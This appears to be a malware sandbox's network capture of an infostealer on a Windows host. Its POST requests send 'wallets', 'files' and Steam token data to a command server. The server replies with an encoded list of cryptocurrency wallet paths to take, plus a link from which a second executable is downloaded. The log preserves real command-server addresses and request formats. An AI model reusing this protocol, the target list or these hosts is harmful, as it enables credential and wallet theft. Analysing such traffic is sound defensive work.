Nov 27, 2024 11:14:52.998485088 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:52 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 27, 2024 11:14:53.701143026 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHDAEBGCAAFIDGCGDHI Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 27, 2024 11:14:54.818825960 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 27, 2024 11:14:54.938533068 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJ Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 34 37 61 63 37 32 62 31 32 63 30 36 31 61 38 61 32 39 64 65 33 32 62 34 38 39 64 61 33 61 36 38 63 37 37 61 63 61 32 38 34 39 62 64 64 62 65 34 38 65 31 39 32 36 30 36 35 34 36 33 65 32 39 39 61 30 35 38 39 37 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="token"e447ac72b12c061a8a29de32b489da3a68c77aca2849bddbe48e1926065463e299a05897------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="message"wallets------EHJDHJKFIECAAKFIJJKJ--
Nov 27, 2024 11:14:55.387079000 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:55 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 27, 2024 11:14:55.389813900 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGHJKFHJJJKJJJJKEHC Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 34 37 61 63 37 32 62 31 32 63 30 36 31 61 38 61 32 39 64 65 33 32 62 34 38 39 64 61 33 61 36 38 63 37 37 61 63 61 32 38 34 39 62 64 64 62 65 34 38 65 31 39 32 36 30 36 35 34 36 33 65 32 39 39 61 30 35 38 39 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 2d 2d 0d 0a Data Ascii: ------JEGHJKFHJJJKJJJJKEHCContent-Disposition: form-data; name="token"e447ac72b12c061a8a29de32b489da3a68c77aca2849bddbe48e1926065463e299a05897------JEGHJKFHJJJKJJJJKEHCContent-Disposition: form-data; name="message"files------JEGHJKFHJJJKJJJJKEHC--
Nov 27, 2024 11:14:55.837974072 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 27, 2024 11:14:55.915620089 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKECBFCGIEGCBGCAECGC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 34 37 61 63 37 32 62 31 32 63 30 36 31 61 38 61 32 39 64 65 33 32 62 34 38 39 64 61 33 61 36 38 63 37 37 61 63 61 32 38 34 39 62 64 64 62 65 34 38 65 31 39 32 36 30 36 35 34 36 33 65 32 39 39 61 30 35 38 39 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KKECBFCGIEGCBGCAECGCContent-Disposition: form-data; name="token"e447ac72b12c061a8a29de32b489da3a68c77aca2849bddbe48e1926065463e299a05897------KKECBFCGIEGCBGCAECGCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KKECBFCGIEGCBGCAECGCContent-Disposition: form-data; name="file"------KKECBFCGIEGCBGCAECGC--
Nov 27, 2024 11:14:56.862284899 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 27, 2024 11:14:56.894402981 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKEBFCFIJJKKECAKJEH Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 34 37 61 63 37 32 62 31 32 63 30 36 31 61 38 61 32 39 64 65 33 32 62 34 38 39 64 61 33 61 36 38 63 37 37 61 63 61 32 38 34 39 62 64 64 62 65 34 38 65 31 39 32 36 30 36 35 34 36 33 65 32 39 39 61 30 35 38 39 37 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 2d 2d 0d 0a Data Ascii: ------CAKEBFCFIJJKKECAKJEHContent-Disposition: form-data; name="token"e447ac72b12c061a8a29de32b489da3a68c77aca2849bddbe48e1926065463e299a05897------CAKEBFCFIJJKKECAKJEHContent-Disposition: form-data; name="message"ybncbhylepme------CAKEBFCFIJJKKECAKJEH--
Nov 27, 2024 11:14:57.343039989 CET	271	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49957	185.215.113.16	80	5160	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 11:14:57.469775915 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 27, 2024 11:14:58.861130953 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 10:14:58 GMT Content-Type: application/octet-stream Content-Length: 1915392 Last-Modified: Wed, 27 Nov 2024 10:09:04 GMT Connection: keep-alive ETag: "6746efc0-1d3a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 10 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfL@@L@WkDKK @.rsrcD@.idata @ 0+@ziuuvnhg 1@jaocwzscL@.taggant0L"@
Nov 27, 2024 11:14:58.861179113 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 11:14:58.861187935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 11:14:58.861282110 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 11:14:58.861310959 CET	1236	IN	Data Raw: 71 bd 14 3f 2c 47 45 09 cc 9c 20 3b 68 90 a2 a5 1b 28 7d fa a2 fa 35 8d 3e 1a 9a 5f 31 7e a4 6a dd b2 31 94 dc 72 08 7f 30 73 00 7d bc 99 11 a3 8c 6a 64 bf 7f 94 b5 29 db 69 94 ee 32 c7 a4 a9 bc fe f0 4d 54 33 c1 8a 2e a7 86 7c fc 69 cc 50 2b 13 Data Ascii: q?,GE ;h(}5>_1~j1r0s}jd)i2MT3.\|iP+NJ:&bqG&.J[^[8iNo/1uBeHS~+\|H5MmJW18Nf/B<".6BvLQ'b^0[\!
Nov 27, 2024 11:14:58.861318111 CET	1236	IN	Data Raw: c1 be 6e cf 00 a6 d4 3c 24 d2 60 c0 58 23 20 c4 9b b8 88 b2 2a f7 40 47 ab 85 a4 aa b7 f2 25 7f ac 98 ec 56 fe 52 9d 15 be dc 38 52 93 7e c4 2e 08 17 25 6a 36 a7 9f 7b 14 78 05 12 32 ca 20 6b dc be 9a 4e 1c e2 4a 9d 58 ab a3 b6 0b 3b 81 5e aa 19 Data Ascii: n<$`X# *@G%VR8R~.%j6{x2 kNJX;^6[\b>x#nn)zB$_ BSlGp`0i~x9ruwA-BXB^veku<8{WXqFL?=:wH<$a\8X=7<>0zSYze#{kh>9a#A+0,
Nov 27, 2024 11:14:58.861336946 CET	1236	IN	Data Raw: 3f 5f 3d e3 f3 61 40 49 f0 73 bb 00 2b 99 5c 8c 59 0b 33 9f a5 ee 57 af 90 90 6d ab e3 68 5c 84 ff 39 54 70 f0 9b 91 5d e4 c9 a0 2b d1 16 78 3c c2 e2 3e cc a8 7b 1e 50 eb 52 31 7d 4f 4e f3 ca a8 91 fa f7 aa 16 81 2a 09 1d fd 2c f4 8d 39 49 60 de Data Ascii: ?_=a@Is+\Y3Wmh\9Tp]+x<>{PR1}ON,9I`\"Iv7aS]\I5y;x,+ZShhD";s:-s< vArvpfB5N~-A(I{bWO^Z.>%ntYwT\|4Qmp
Nov 27, 2024 11:14:58.861583948 CET	1236	IN	Data Raw: 59 50 88 c4 2d 12 fb 4f 18 7e e8 26 59 30 b6 65 94 8d 0e 5c e2 02 a3 0a 2b f0 08 e2 0d b3 6b c9 0f 76 71 c5 41 0a ef 5a 87 16 29 8f 50 41 c9 62 34 fa 99 17 9e dc 87 80 d7 c3 10 49 09 3b be ed 2d a8 cd 8d 22 f0 a9 c3 2a 3e 9a 05 f6 8f 57 50 97 65 Data Ascii: YP-O~&Y0e\+kvqAZ)PAb4I;-"*>WPe>3n~v{x2Vo2 7q+h+Yo\PA&$x[kqw:RvYiaAWxBVQl&G.c{Qe48TOgR?Bvv^j'\w#P
Nov 27, 2024 11:14:58.861598969 CET	1236	IN	Data Raw: bd 5e 93 fe 5a 04 b2 47 e0 4f 82 36 6c 99 9c ce b7 58 c7 b0 0f 96 44 04 6e 5a e1 13 50 2c ad 2a 4c 72 0c 49 08 79 fe 17 0f 39 15 4d c4 5f 44 47 f3 5e 4c a7 3f 84 7c 80 79 79 12 47 2a 61 52 6f e8 63 64 21 44 29 ae cf 73 b4 bd a8 1b ea 7d 3b 45 24 Data Ascii: ^ZGO6lXDnZP,LrIy9M_DG^L?\|yyGaRocd!D)s};E$g5G9D:9f=YR]TL4\|.f~J(VDwtxyG@6ftx:FS>RyjH9Tj'kv#7d:Z0=Z"B7.C'z;He
Nov 27, 2024 11:14:58.861615896 CET	1236	IN	Data Raw: 1a 6c 04 94 22 a8 c8 09 32 14 04 82 96 f3 14 9e 68 90 ef 76 f4 3e 7c eb 0c 48 a3 a0 8b 5c 14 5c 52 5d 37 43 4a 30 b5 c0 2d 70 fc c1 09 ea f6 bd 8e b5 40 7f 30 6a 81 62 ce f1 aa 82 cc 27 e1 24 d8 22 93 f2 00 6c 9e 6f 8c 93 6b 2a 49 27 ac 12 72 a6 Data Ascii: l"2hv>\|H\\R]7CJ0-p@0jb'$"lok*I'r@D~"Em#pu}>X'.hBX&dL;!50c~q+hP4<x>k<\|\~I qU"SP.N;qpuve'wQ;u!kk\|\H-/i{e}
Nov 27, 2024 11:14:58.981340885 CET	1236	IN	Data Raw: 04 b8 a8 b3 e9 b0 7c 3b 97 bc 67 2f 04 ee f8 5a 56 52 23 c8 25 e1 7c aa a3 8e ba 66 98 22 95 b2 8b d1 a3 22 1d 9e 20 6a cd 1c 0c ec d9 e2 14 d4 a8 3b c1 c2 17 2e 11 c5 33 e9 db 62 12 ee ce 60 bb 9f 2f 4d 56 56 b7 5f ab c9 2c ad 65 96 b3 ce 46 22 Data Ascii: \|;g/ZVR#%\|f"" j;.3b`/MVV_,eF"c34N[`\|.f\ro=E:dvqD%ktpeN+uv<K%d1oV(0EQzu\|Sum4IpGY?B=1z,+'dJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49972	185.215.113.206	80	5160	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 11:15:02.627963066 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBAAFIDGDAAAAAAAAKEB Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 34 37 61 63 37 32 62 31 32 63 30 36 31 61 38 61 32 39 64 65 33 32 62 34 38 39 64 61 33 61 36 38 63 37 37 61 63 61 32 38 34 39 62 64 64 62 65 34 38 65 31 39 32 36 30 36 35 34 36 33 65 32 39 39 61 30 35 38 39 37 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 4b 45 42 2d 2d 0d 0a Data Ascii: ------DBAAFIDGDAAAAAAAAKEBContent-Disposition: form-data; name="token"e447ac72b12c061a8a29de32b489da3a68c77aca2849bddbe48e1926065463e299a05897------DBAAFIDGDAAAAAAAAKEBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DBAAFIDGDAAAAAAAAKEB--
Nov 27, 2024 11:15:04.451572895 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:15:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50123	185.215.113.43	80	8696	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 11:16:04.881483078 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 27, 2024 11:16:06.258400917 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 10:16:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50129	185.215.113.43	80	8696	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 11:16:07.894401073 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 36 32 37 37 30 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB62770B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 27, 2024 11:16:09.287275076 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 10:16:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 39 35 37 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 39 35 37 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 39 35 38 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 